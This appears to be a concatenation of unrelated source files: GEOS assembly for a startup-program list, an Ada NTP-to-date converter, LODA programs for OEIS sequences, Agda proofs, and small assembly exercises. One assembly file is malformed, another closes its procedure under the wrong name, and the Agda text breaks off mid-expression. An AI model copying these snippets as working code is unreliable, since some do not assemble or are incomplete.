ds:[si] add di, ds:[di].ConfigUIList_offset movdw ds:[di].CUILI_array, dxax ; ; Initialize the list and mark not dirty ; mov ax, MSG_CUIL_INIT_UI call ObjCallInstanceNoLock mov ax, MSG_CUIL_MARK_NOT_DIRTY call ObjCallInstanceNoLock .leave ret StartupListBuildArray endm ; ; Pass: ; ds:si - string section ; dx - section # ; cx - length of section ; *es:bx - chunkarray ; Return: ; carry - set to stop enum ; es - fixed up ; StartupListBuildCallback proc far uses bx, di .enter segxchg es, ds mov di, si ;es:di <- name mov si, bx ;*ds:si <- chunkarray clr bx ;bx <- NameArrayAddFlag call NameArrayAdd segmov es, ds ;return updated es clc ;carry <- keep going .leave ret StartupListBuildCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StartupListGetMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a particular moniker CALLED BY: PrefMgr PASS: *ds:si - StartupListClass object ds:di - StartupListClass object ss:bp - GetItemMonikerParams RETURN: bp - # of chars returned DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StartupListGetMoniker method dynamic StartupListClass, MSG_PREF_ITEM_GROUP_GET_ITEM_MONIKER .enter ; ; Get the specified element ; call LockArrayForList mov ax, ss:[bp].GIMP_identifier call ChunkArrayElementToPtr jc noItem ;branch if not found ; ; Copy it into the buffer ; sub cx, (size RefElementHeader) cmp cx, ss:[bp].GIMP_bufferSize ja noItem ;branch if too large lea si, ds:[di][RefElementHeader] ;ds:si <- name les di, ss:[bp].GIMP_buffer ;es:di <- dest mov bp, cx ;bp <- # chars rep movsb ;copy me LocalClrChar ax LocalPutChar esdi, ax ;NULL terminate ; ; Unlock the array ; done: call MemUnlock .leave ret noItem: clr bp ;bp <- item ignored jmp done StartupListGetMoniker endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StartupListProgramSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: A program has been selected CALLED BY: PrefMgr PASS: *ds:si - StartupListClass object ds:di - StartupListClass object bp - # of selections RETURN: none DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StartupListProgramSelected method dynamic StartupListClass, MSG_SL_STARTUP_PROGRAM_SELECTED ; ; Enable the Remove trigger if anything is selected ; mov ax, MSG_GEN_SET_ENABLED tst bp ;any selection? jnz gotMessage ;branch if so mov ax, MSG_GEN_SET_NOT_ENABLED gotMessage: mov si, offset RemoveAppTrigger mov dl, VUM_NOW GOTO ObjCallInstanceNoLock StartupListProgramSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StartupListDeleteProgram %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete the selected program CALLED BY: PrefMgr PASS: *ds:si - StartupListClass object ds:di - StartupListClass object RETURN: none DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StartupListDeleteProgram method dynamic StartupListClass, MSG_SL_DELETE_PROGRAM .enter ; ; Get the currently selected program, if any ; mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock jc noneSelected ;branch if no selection ; ; Delete the selected program ; push ds, si call LockArrayForList mov cx, 1 ;cx <- delete 1 item call ChunkArrayDeleteRange ;uses element # call MemUnlock pop ds, si ; ; Update the list and mark it dirty ; mov ax, MSG_CUIL_INIT_UI call ObjCallInstanceNoLock mov ax, MSG_CUIL_MARK_DIRTY call ObjCallInstanceNoLock ; ; Indicate no selections -- disable the Remove trigger ; clr bp ;bp <- no selections mov ax, MSG_SL_STARTUP_PROGRAM_SELECTED call ObjCallInstanceNoLock noneSelected: .leave ret StartupListDeleteProgram endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StartupListAddProgram %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a program from the file selector CALLED BY: PrefMgr PASS: *ds:si - StartupListClass object ds:di - StartupListClass object RETURN: none DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StartupListAddProgram method dynamic StartupListClass, MSG_SL_ADD_PROGRAM tailBuffer local PATH_BUFFER_SIZE+FILE_LONGNAME_BUFFER_SIZE dup (TCHAR) pathBuffer local PATH_BUFFER_SIZE+FILE_LONGNAME_BUFFER_SIZE dup (TCHAR) .enter ; ; Get rid of the dialog ; push bp, si mov cx, IC_DISMISS mov ax, MSG_GEN_INTERACTION_ACTIVATE_COMMAND mov si, offset AddAppDialog call ObjCallInstanceNoLock pop bp, si ; ; Get the full path of the selection ; push bp, si mov si, offset AddAppSelector mov cx, ss lea dx, ss:tailBuffer mov ax, MSG_GEN_FILE_SELECTOR_GET_FULL_SELECTION_PATH call ObjCallInstanceNoLock mov cx, bp ;cx <- GenFileSelectorEntryFlags pop bp, si ; ; Make sure it is a program ; andnf cx, mask GFSEF_TYPE cmp cx, GFSET_FILE shl offset GFSEF_TYPE jne done ;branch if not ; ; See if it is a reasonable standard path where we might find ; a program ; lea di, ss:tailBuffer ;di <- buffer segmov es, ss ;es:di <- name cmp ax, SP_APPLICATION je gotDir cmp ax, SP_SYS_APPLICATION je gotDir ; ; Not a reasonable looking path -- construct the path representing ; the disk handle and file ; push ds, si mov bx, ax ;bx <- disk handle segmov ds, ss, ax mov es, ax lea si, ss:tailBuffer ;ds:si <- tail lea di, ss:pathBuffer ;es:di <- buffer mov dx, 1 ;dx <- include drive mov cx, (size pathBuffer) ;cx <- size call FileConstructFullPath pop ds, si lea di, ss:pathBuffer ;di <- path segmov es, ss ;es:di <- name ; ; Add the selected program ; addProgram: push ds, si call LockArrayForList push bx clr cx ;cx <- NULL terminated clr bx ;bx <- NameArrayAddFlag call NameArrayAdd pop bx call MemUnlock pop ds, si ; ; Update the list and mark the list dirty ; mov ax, MSG_CUIL_INIT_UI call ObjCallInstanceNoLock mov ax, MSG_CUIL_MARK_DIRTY call ObjCallInstanceNoLock done: .leave ret ; ; Skip any leading backslash ; gotDir: cmp {TCHAR}es:[di], '\\' ;leading backslash? jne addProgram ;branch if not LocalNextChar esdi ;skip backslash jmp addProgram StartupListAddProgram endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StartupListSaveOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Save our settings to the .INI file CALLED BY: PrefMgr PASS: *ds:si - StartupListClass object ds:di - StartupListClass object RETURN: none DESTROYED: bx, cx, dx, di, bp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StartupListSaveOptions method dynamic StartupListClass, MSG_META_SAVE_OPTIONS uses si .enter ; ; Is there an array? ; clr bx xchg bx, ds:[di].CUILI_array.handle tst bx ;any array? jz done ;branch if not mov si, ds:[di].CUILI_array.chunk ; ; Delete the existing string section ; push si segmov ds, cs, cx mov si, offset uiCat2 ;ds:si <- category mov dx, offset startupKey ;cx:dx <- key call InitFileDeleteEntry pop si ; ; See if there's anything to save ; call MemLock mov ds, ax call ChunkArrayGetCount jcxz freeArray ;branch if nothing ; ; Loop through the strings in our array and add them ; push bx mov bx, cs mov di, offset SaveOptionsCallback call ChunkArrayEnum pop bx ; ; Free the array ; freeArray: call MemFree done: .leave ret StartupListSaveOptions endm SaveOptionsCallback proc far uses di, si, es, ds pathBuffer local PATH_BUFFER_SIZE+FILE_LONGNAME_BUFFER_SIZE dup (TCHAR) .enter ; ; Copy the silly path to a buffer so we can NULL-terminate it ; mov cx, ax ;cx <- size lea si, ds:[di][RefElementHeader] sub cx, (size RefElementHeader) ;cx <- # bytes lea di, ss:pathBuffer segmov es, ss ;es:di <- string rep movsb ;copy me LocalClrChar ax LocalPutChar esdi, ax ;NULL terminate ; ; Write out the string ; lea di, ss:pathBuffer segmov es, ss ;es:di <- string segmov ds, cs, cx mov si, offset uiCat2 ;ds:si <- category mov dx, offset startupKey ;cx:dx <- key call InitFileWriteStringSection .leave ret SaveOptionsCallback endp ProgListCode ends
src/hestia-time.adb
stcarrez/hestia
2
8645
<filename>src/hestia-time.adb ----------------------------------------------------------------------- -- hestia-time -- Date and time information -- Copyright (C) 2017, 2018 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Interfaces; with Hestia.Config; package body Hestia.Time is Secs_In_Day : constant := 24 * 3600; Secs_In_Four_Years : constant := (3 * 365 + 366) * Secs_In_Day; Secs_In_Non_Leap_Year : constant := 365 * Secs_In_Day; type Day_Count_Array is array (Month_Name) of Day_Number; type Day_Array is array (Boolean) of Day_Count_Array; Day_Table : constant Day_Array := (False => (January => 31, February => 28, March => 31, April => 30, May => 31, June => 30, July => 31, August => 31, September => 30, October => 31, November => 30, December => 31), True => (January => 31, February => 29, March => 31, April => 30, May => 31, June => 30, July => 31, August => 31, September => 30, October => 31, November => 30, December => 31)); function Is_Leap (Year : in Year_Number) return Boolean; function Is_Leap (Year : in Year_Number) return Boolean is begin return Year mod 400 = 0 or (Year mod 4 = 0 and not (Year mod 100 = 0)); end Is_Leap; function "-" (Left, Right : in Day_Name) return Integer is begin return Day_Name'Pos (Left) - Day_Name'Pos (Right); end "-"; -- ------------------------------ -- Convert the NTP time reference to a date. -- ------------------------------ function Convert (Time : in Net.NTP.NTP_Reference) return Date_Time is use type Interfaces.Unsigned_32; T : Net.NTP.NTP_Timestamp; S : Net.Uint32; Result : Date_Time; Four_Year_Segs : Natural; Rem_Years : Natural; Year_Day : Natural; Is_Leap_Year : Boolean; begin T := Net.NTP.Get_Time (Time); S := T.Seconds; -- Apply the timezone correction. S := S + 60 * Hestia.Config.TIME_ZONE_CORRECTION; -- Compute year. Four_Year_Segs := Natural (S / Secs_In_Four_Years); if Four_Year_Segs > 0 then S := S - Net.Uint32 (Four_Year_Segs) * Net.Uint32 (Secs_In_Four_Years); end if; Rem_Years := Natural (S / Secs_In_Non_Leap_Year); if Rem_Years > 3 then Rem_Years := 3; end if; S := S - Net.Uint32 (Rem_Years * Secs_In_Non_Leap_Year); Result.Year := Natural (4 * Four_Year_Segs + Rem_Years) + 1970; -- Compute year day. Year_Day := 1 + Natural (S / Secs_In_Day); Result.Year_Day := Year_Day; -- Compute month and day of month. Is_Leap_Year := Is_Leap (Result.Year); Result.Month := January; while Year_Day > Day_Table (Is_Leap_Year) (Result.Month) loop Year_Day := Year_Day - Day_Table (Is_Leap_Year) (Result.Month); Result.Month := Month_Name'Succ (Result.Month); end loop; Result.Day := Year_Day; -- Compute hours, minutes and remaining seconds. S := S mod 86400; Result.Hour := Hour_Number (S / 3600); S := S mod 3600; Result.Minute := Minute_Number (S / 60); Result.Second := Second_Number (S mod 60); Result.Sub_Seconds := T.Sub_Seconds; Result.Week_Day := Monday; return Result; end Convert; end Hestia.Time;
programs/oeis/092/A092185.asm
karttu/loda
1
96179
; A092185: a(n) = (5/6)*n^3+(5/2)*n^2+(8/3)*n. ; 0,6,22,53,104,180,286,427,608,834,1110,1441,1832,2288,2814,3415,4096,4862,5718,6669,7720,8876,10142,11523,13024,14650,16406,18297,20328,22504,24830,27311,29952,32758,35734,38885,42216,45732,49438,53339,57440,61746,66262,70993,75944,81120,86526,92167,98048,104174,110550,117181,124072,131228,138654,146355,154336,162602,171158,180009,189160,198616,208382,218463,228864,239590,250646,262037,273768,285844,298270,311051,324192,337698,351574,365825,380456,395472,410878,426679,442880,459486,476502,493933,511784,530060,548766,567907,587488,607514,627990,648921,670312,692168,714494,737295,760576,784342,808598,833349,858600,884356,910622,937403,964704,992530,1020886,1049777,1079208,1109184,1139710,1170791,1202432,1234638,1267414,1300765,1334696,1369212,1404318,1440019,1476320,1513226,1550742,1588873,1627624,1667000,1707006,1747647,1788928,1830854,1873430,1916661,1960552,2005108,2050334,2096235,2142816,2190082,2238038,2286689,2336040,2386096,2436862,2488343,2540544,2593470,2647126,2701517,2756648,2812524,2869150,2926531,2984672,3043578,3103254,3163705,3224936,3286952,3349758,3413359,3477760,3542966,3608982,3675813,3743464,3811940,3881246,3951387,4022368,4094194,4166870,4240401,4314792,4390048,4466174,4543175,4621056,4699822,4779478,4860029,4941480,5023836,5107102,5191283,5276384,5362410,5449366,5537257,5626088,5715864,5806590,5898271,5990912,6084518,6179094,6274645,6371176,6468692,6567198,6666699,6767200,6868706,6971222,7074753,7179304,7284880,7391486,7499127,7607808,7717534,7828310,7940141,8053032,8166988,8282014,8398115,8515296,8633562,8752918,8873369,8994920,9117576,9241342,9366223,9492224,9619350,9747606,9876997,10007528,10139204,10272030,10406011,10541152,10677458,10814934,10953585,11093416,11234432,11376638,11520039,11664640,11810446,11957462,12105693,12255144,12405820,12557726,12710867,12865248,13020874 add $0,1 mov $1,$0 pow $1,3 mul $1,5 add $1,$0 div $1,3 mul $1,30 sub $1,60 div $1,60
test/Succeed/Issue3211a.agda
shlevy/agda
1,989
11824
<reponame>shlevy/agda -- Andreas, 2018-09-08, issue #3211 -- -- Bug with parametrized module and constructor rewriting. {-# OPTIONS --rewriting #-} -- {-# OPTIONS -v rewriting.match:90 -v rewriting:90 #-} -- {-# OPTIONS -v tc.getConType:50 #-} module _ (Base : Set) where open import Agda.Builtin.Equality {-# BUILTIN REWRITE _≡_ #-} cong : ∀ {a b} {A : Set a} {B : Set b} (f : A → B) {x y} → x ≡ y → f x ≡ f y cong f refl = refl data Form : Set where Atom : (P : Base) → Form _⇒_ : (A B : Form) → Form data Cxt : Set where ε : Cxt _∙_ : (Γ : Cxt) (A : Form) → Cxt infixl 4 _∙_ infix 3 _≤_ data _≤_ : (Γ Δ : Cxt) → Set where id≤ : ∀{Γ} → Γ ≤ Γ weak : ∀{A Γ Δ} (τ : Γ ≤ Δ) → Γ ∙ A ≤ Δ lift : ∀{A Γ Δ} (τ : Γ ≤ Δ) → Γ ∙ A ≤ Δ ∙ A postulate lift-id≤ : ∀{Γ A} → lift id≤ ≡ id≤ {Γ ∙ A} {-# REWRITE lift-id≤ #-} Mon : (P : Cxt → Set) → Set Mon P = ∀{Γ Δ} (τ : Γ ≤ Δ) → P Δ → P Γ infix 2 _⊢_ data _⊢_ (Γ : Cxt) : (A : Form) → Set where impI : ∀{A B} (t : Γ ∙ A ⊢ B) → Γ ⊢ A ⇒ B Tm = λ A Γ → Γ ⊢ A monD : ∀{A} → Mon (Tm A) -- monD : ∀{A Γ Δ} (τ : Γ ≤ Δ) → Tm A Δ → Tm A Γ -- Works -- monD : ∀{A Γ Δ} (τ : Γ ≤ Δ) → Δ ⊢ A → Γ ⊢ A -- Works monD τ (impI t) = impI (monD (lift τ) t) monD-id : ∀{Γ A} (t : Γ ⊢ A) → monD id≤ t ≡ t monD-id (impI t) = cong impI (monD-id t) -- REWRITE lift-id≤ -- -}
programs/oeis/293/A293410.asm
jmorken/loda
1
88961
; A293410: Least integer k such that k/n^2 > sqrt(3). ; 0,2,7,16,28,44,63,85,111,141,174,210,250,293,340,390,444,501,562,626,693,764,839,917,998,1083,1171,1263,1358,1457,1559,1665,1774,1887,2003,2122,2245,2372,2502,2635,2772,2912,3056,3203,3354,3508,3666,3827,3991,4159,4331,4506,4684,4866,5051,5240,5432,5628,5827,6030,6236,6445,6659,6875,7095,7318,7545,7776,8010,8247,8488,8732,8979,9231,9485,9743,10005,10270,10538,10810,11086,11364,11647,11933,12222,12515,12811,13110,13414,13720,14030,14344,14661,14981,15305,15632,15963,16297,16635,16976,17321,17669,18021,18376,18734,19096,19462,19831,20203,20579,20958,21341,21727,22117,22510,22907,23307,23711,24118,24528,24942,25359,25780,26205,26633,27064,27499,27937,28378,28824,29272,29724,30180,30639,31101,31567,32037,32509,32986,33465,33949,34435,34926,35419,35916,36417,36921,37428,37939,38454,38972,39493,40018,40546,41078,41613,42152,42694,43239,43788,44341,44897,45456,46019,46586,47156,47729,48306,48886,49470,50057,50647,51241,51839,52440,53045,53653,54264,54879,55497,56119,56744,57373,58005,58641,59280,59923,60569,61218,61871,62528,63187,63851,64518,65188,65862,66539,67220,67904,68591,69283,69977,70675,71377,72082,72790,73502,74217,74936,75658,76384,77113,77846,78582,79321,80065,80811,81561,82314,83071,83832,84596,85363,86134,86908,87686,88467,89251,90039,90831,91626,92424,93226,94032,94841,95653,96469,97288,98111,98937,99767,100600,101436,102276,103120,103967,104817,105671,106529,107389 pow $0,2 mov $2,$0 mul $2,2 mov $0,$2 mul $0,$2 mov $1,$2 mul $1,2 add $1,2 lpb $0 sub $0,1 sub $1,1 trn $0,$1 add $1,5 lpe div $1,4
saida_hex_teste02.asm
pedroeml/montagem-desmontagem
0
5414
<reponame>pedroeml/montagem-desmontagem .text .global main main: sll , , j 0, $, 100 j 00, $, 001011 j 1001, , 001001 j 0, $,
programs/templates/call.asm
neoneye/loda
22
19503
cal $0,-1
functionsMaybe.asm
TashinAhmed/ASSEMBLY-LANGUAGE
0
163021
<reponame>TashinAhmed/ASSEMBLY-LANGUAGE<filename>functionsMaybe.asm .MODEL SMALL .STACK 100H .DATA NEWLINE DB 0AH,0DH,'$' .CODE XOR_ PROC PUSH AX PUSH BX ADD AL,BL MOV CL,AL POP BX POP AX RET SUM ENDP MAIN PROC MOV AX,@DATA MOV DS,AX MOV AH,1 INT 21H SUB AL,48 MOV BL,AL MOV AH,1 INT 21H SUB AL,48 CALL XOR_ LEA DX,NEWLINE MOV AH,9 INT 21H XOR DX,DX XOR AX,AX MOV AL,CL MOV BL,10 DIV BL MOV CL,0 MOV CL,AH MOV AH,2 MOV DL,AL ADD DL,48 INT 21H MOV DL,CL ADD DL,48 INT 21H EXIT: MOV AH,4CH INT 21H MAIN ENDP END MAIN
src/aco-nodes-locals.ads
jonashaggstrom/ada-canopen
6
24428
<gh_stars>1-10 private with ACO.Protocols.Network_Management.Slaves; private with ACO.Protocols.Error_Control.Masters; private with ACO.Protocols.Synchronization; private with ACO.Protocols.Service_Data.Servers; private with ACO.SDO_Sessions; package ACO.Nodes.Locals is type Local (Id : ACO.Messages.Node_Nr; Handler : not null access ACO.CANopen.Handler; Od : not null access ACO.OD.Object_Dictionary'Class) is new Node_Base with private; overriding procedure Set_State (This : in out Local; State : in ACO.States.State); overriding function Get_State (This : Local) return ACO.States.State; overriding procedure Start (This : in out Local); overriding procedure Write (This : in out Local; Index : in ACO.OD_Types.Object_Index; Subindex : in ACO.OD_Types.Object_Subindex; An_Entry : in ACO.OD_Types.Entry_Base'Class) with Pre => This.Od.Entry_Exist (Index, Subindex) and then This.Od.Is_Entry_Compatible (An_Entry, Index, Subindex); overriding procedure Read (This : in out Local; Index : in ACO.OD_Types.Object_Index; Subindex : in ACO.OD_Types.Object_Subindex; To_Entry : out ACO.OD_Types.Entry_Base'Class) with Pre => This.Od.Entry_Exist (Index, Subindex) and then This.Od.Is_Entry_Compatible (To_Entry, Index, Subindex); function Read (This : Local; Index : ACO.OD_Types.Object_Index; Subindex : ACO.OD_Types.Object_Subindex) return ACO.OD_Types.Entry_Base'Class with Pre => This.Od.Entry_Exist (Index, Subindex); private procedure On_Message_Dispatch (This : in out Local; Msg : in ACO.Messages.Message); procedure Periodic_Actions (This : in out Local; T_Now : in Ada.Real_Time.Time); type Server_Only (Handler : not null access ACO.CANopen.Handler; Od : not null access ACO.OD.Object_Dictionary'Class) is new ACO.Protocols.Service_Data.Servers.Server (Handler, Od) with null record; overriding procedure Result_Callback (This : in out Server_Only; Session : in ACO.SDO_Sessions.SDO_Session; Result : in ACO.SDO_Sessions.SDO_Result); overriding function Tx_CAN_Id (This : Server_Only; Parameter : ACO.SDO_Sessions.SDO_Parameters) return ACO.Messages.Id_Type; overriding function Rx_CAN_Id (This : Server_Only; Parameter : ACO.SDO_Sessions.SDO_Parameters) return ACO.Messages.Id_Type; overriding function Get_Endpoint (This : Server_Only; Rx_CAN_Id : ACO.Messages.Id_Type) return ACO.SDO_Sessions.Endpoint_Type; type Local (Id : ACO.Messages.Node_Nr; Handler : not null access ACO.CANopen.Handler; Od : not null access ACO.OD.Object_Dictionary'Class) is new Node_Base (Id, Handler, Od) with record NMT : ACO.Protocols.Network_Management.Slaves.Slave (Id, Od); EC : ACO.Protocols.Error_Control.Masters.Master (Id, Handler, Od); SDO : Server_Only (Handler, Od); SYNC : ACO.Protocols.Synchronization.SYNC (Handler, Od); end record; end ACO.Nodes.Locals;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/specs/weak1.ads
best08618/asylo
7
7134
package Weak1 is Myconst : constant Integer := 1234; pragma Export (C, Myconst, "myconst"); pragma Weak_External (Myconst); end Weak1;
data/pokemon/dex_entries/caterpie.asm
AtmaBuster/pokeplat-gen2
6
95856
db "WORM@" ; species name db "It crawls into" next "foliage where it" next "camouflages itself" page "among leaves that" next "are the same color" next "as its body.@"
agda-stdlib/src/Axiom/UniquenessOfIdentityProofs/WithK.agda
DreamLinuxer/popl21-artifact
5
7503
------------------------------------------------------------------------ -- The Agda standard library -- -- Results concerning uniqueness of identity proofs, with axiom K ------------------------------------------------------------------------ {-# OPTIONS --with-K --safe #-} module Axiom.UniquenessOfIdentityProofs.WithK where open import Axiom.UniquenessOfIdentityProofs open import Relation.Binary.PropositionalEquality.Core -- Axiom K implies UIP. uip : ∀ {a} {A : Set a} → UIP A uip refl refl = refl
mc1/helloworld.asm
mnemocron/FHNW
1
163245
<reponame>mnemocron/FHNW .include "m2560def.inc" start: ldi r16, 0x80 out DDRB, r16 toggleLed: in r17, PORTB eor r17, r16 out PORTB, r17 rjmp toggleLed
Definition/LogicalRelation/Substitution/Introductions/IdUPiPi.agda
CoqHott/logrel-mltt
2
4267
{-# OPTIONS --safe #-} open import Definition.Typed.EqualityRelation module Definition.LogicalRelation.Substitution.Introductions.IdUPiPi {{eqrel : EqRelSet}} where open EqRelSet {{...}} open import Definition.Untyped as U hiding (wk) open import Definition.Untyped.Properties open import Definition.Typed open import Definition.Typed.Properties open import Definition.Typed.Weakening as T hiding (wk; wkTerm; wkEqTerm) open import Definition.Typed.RedSteps open import Definition.LogicalRelation open import Definition.LogicalRelation.ShapeView open import Definition.LogicalRelation.Irrelevance open import Definition.LogicalRelation.Weakening open import Definition.LogicalRelation.Properties open import Definition.LogicalRelation.Application open import Definition.LogicalRelation.Substitution open import Definition.LogicalRelation.Substitution.Properties open import Definition.LogicalRelation.Substitution.Irrelevance as S open import Definition.LogicalRelation.Substitution.Reflexivity open import Definition.LogicalRelation.Substitution.Introductions.Sigma open import Definition.LogicalRelation.Substitution.Introductions.Fst open import Definition.LogicalRelation.Substitution.Introductions.Pi open import Definition.LogicalRelation.Substitution.Introductions.Lambda open import Definition.LogicalRelation.Substitution.Introductions.Application open import Definition.LogicalRelation.Substitution.Introductions.Cast open import Definition.LogicalRelation.Substitution.Introductions.Id open import Definition.LogicalRelation.Substitution.Introductions.Transp open import Definition.LogicalRelation.Substitution.Introductions.SingleSubst open import Definition.LogicalRelation.Substitution.MaybeEmbed open import Definition.LogicalRelation.Substitution.Escape open import Definition.LogicalRelation.Substitution.Introductions.Universe open import Definition.LogicalRelation.Substitution.Reduction open import Definition.LogicalRelation.Substitution.Weakening open import Definition.LogicalRelation.Substitution.ProofIrrelevance open import Definition.LogicalRelation.Fundamental.Variable open import Tools.Product open import Tools.Nat import Tools.PropositionalEquality as PE lemma0 : ∀ σ A → (wk1 (wk1 (subst σ A))) PE.≡ subst (liftSubst (liftSubst σ)) (wk1 (wk1 A)) lemma0 σ A = PE.trans (PE.cong wk1 (PE.sym (Idsym-subst-lemma σ A))) (PE.sym (Idsym-subst-lemma (liftSubst σ) (wk1 A))) lemma1 : ∀ {σ rA} A A' B → wk1d (subst (liftSubst σ) B) [ cast ⁰ (wk1 (wk1 (subst σ A'))) (wk1 (wk1 (subst σ A))) (Idsym (Univ rA ⁰) (wk1 (wk1 (subst σ A))) (wk1 (wk1 (subst σ A'))) (var 1)) (var 0)]↑ PE.≡ subst (liftSubst (liftSubst σ)) (U.wk (lift (step id)) B [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0)]↑) lemma1 {σ} {rA} A A' B = PE.trans (PE.cong₂ (λ X Y → X [ Y ]↑) (PE.sym (Idsym-subst-lemma-wk1d σ B)) (PE.cong₃ (λ X Y Z → cast ⁰ X Y Z (var 0)) (lemma0 σ A') (lemma0 σ A) (PE.trans (PE.cong₂ (λ X Y → Idsym (Univ rA ⁰) X Y (var 1)) (lemma0 σ A) (lemma0 σ A')) (PE.sym (subst-Idsym (liftSubst (liftSubst σ)) (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)))))) (PE.sym ((singleSubstLift↑ (liftSubst σ) (U.wk (lift (step id)) B) _))) lemma2 : ∀ {σ} B → U.wk (lift (step id)) (subst (liftSubst σ) B) PE.≡ subst (liftSubst (liftSubst σ)) (U.wk (lift (step id)) B) lemma2 B = PE.sym (Idsym-subst-lemma-wk1d _ B) Id-U-ΠΠ-resᵗᵛ : ∀ {A B A' B' rA Γ} ([Γ] : ⊩ᵛ Γ) → let l = ∞ lΠ = ⁰ [UA] = maybeEmbᵛ {A = Univ rA _} [Γ] (Uᵛ emb< [Γ]) [UΠ] = maybeEmbᵛ {A = Univ ! _} [Γ] (Uᵛ emb< [Γ]) Id-U-ΠΠ-res A A' B B' = (Π (wk1 A') ^ rA ° ⁰ ▹ Id (U ⁰) (wk1d B [ cast ⁰ (wk1 (wk1 A')) (wk1 (wk1 A)) (Idsym (Univ rA ⁰) (wk1 (wk1 A)) (wk1 (wk1 A')) (var 1)) (var 0) ]↑) (wk1d B') ° ¹ ° ¹) in ([A] : Γ ⊩ᵛ⟨ l ⟩ A ^ [ rA , ι lΠ ] / [Γ]) ([A'] : Γ ⊩ᵛ⟨ l ⟩ A' ^ [ rA , ι lΠ ] / [Γ]) ([UB] : Γ ∙ A ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A]) ([UB'] : Γ ∙ A' ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A']) ([A]ₜ : Γ ⊩ᵛ⟨ l ⟩ A ∷ Univ rA lΠ ^ [ ! , next lΠ ] / [Γ] / [UA]) ([B]ₜ : Γ ∙ A ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ B ∷ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A] / (λ {Δ} {σ} → [UB] {Δ} {σ})) ([A']ₜ : Γ ⊩ᵛ⟨ l ⟩ A' ∷ Univ rA lΠ ^ [ ! , next lΠ ] / [Γ] / [UA]) ([B']ₜ : Γ ∙ A' ^ [ rA , ι lΠ ] ⊩ᵛ⟨ l ⟩ B' ∷ Univ ! lΠ ^ [ ! , next lΠ ] / [Γ] ∙ [A'] / (λ {Δ} {σ} → [UB'] {Δ} {σ})) → let [IdAA'] = Idᵛ {A = Univ rA ⁰} {t = A} {u = A'} [Γ] (λ {Δ} {σ} → [UA] {Δ} {σ}) [A]ₜ [A']ₜ [ΓId] = _∙_ {A = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [wA'] = wk1ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = A'} {lG = ⁰} [Γ] [IdAA'] [A']ₜ [wA']' = wk1ᵛ {A = A'} {F = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [A'] [wA]' = wk1ᵛ {A = A} {F = Id (Univ rA ⁰) A A'} [Γ] [IdAA'] [A] [wA] = wk1ᵗᵛ {F = Id (Univ rA ⁰) A A'} {G = A} {lG = ⁰} [Γ] [IdAA'] [A]ₜ [ΓIdA'] = _∙_ {A = wk1 A'} [ΓId] [wA']' [wwA']' = wk1ᵛ {A = wk1 A'} {F = wk1 A'} [ΓId] [wA']' [wA']' [wwA'] = wk1ᵗᵛ {F = wk1 A'} {G = wk1 A'} {lG = ⁰} [ΓId] [wA']' [wA'] [wwA] = wk1ᵗᵛ {F = wk1 A'} {G = wk1 A} {lG = ⁰} [ΓId] [wA']' [wA] [wwUA'] = λ {Δ} {σ} r → maybeEmbᵛ {A = Univ r _ } 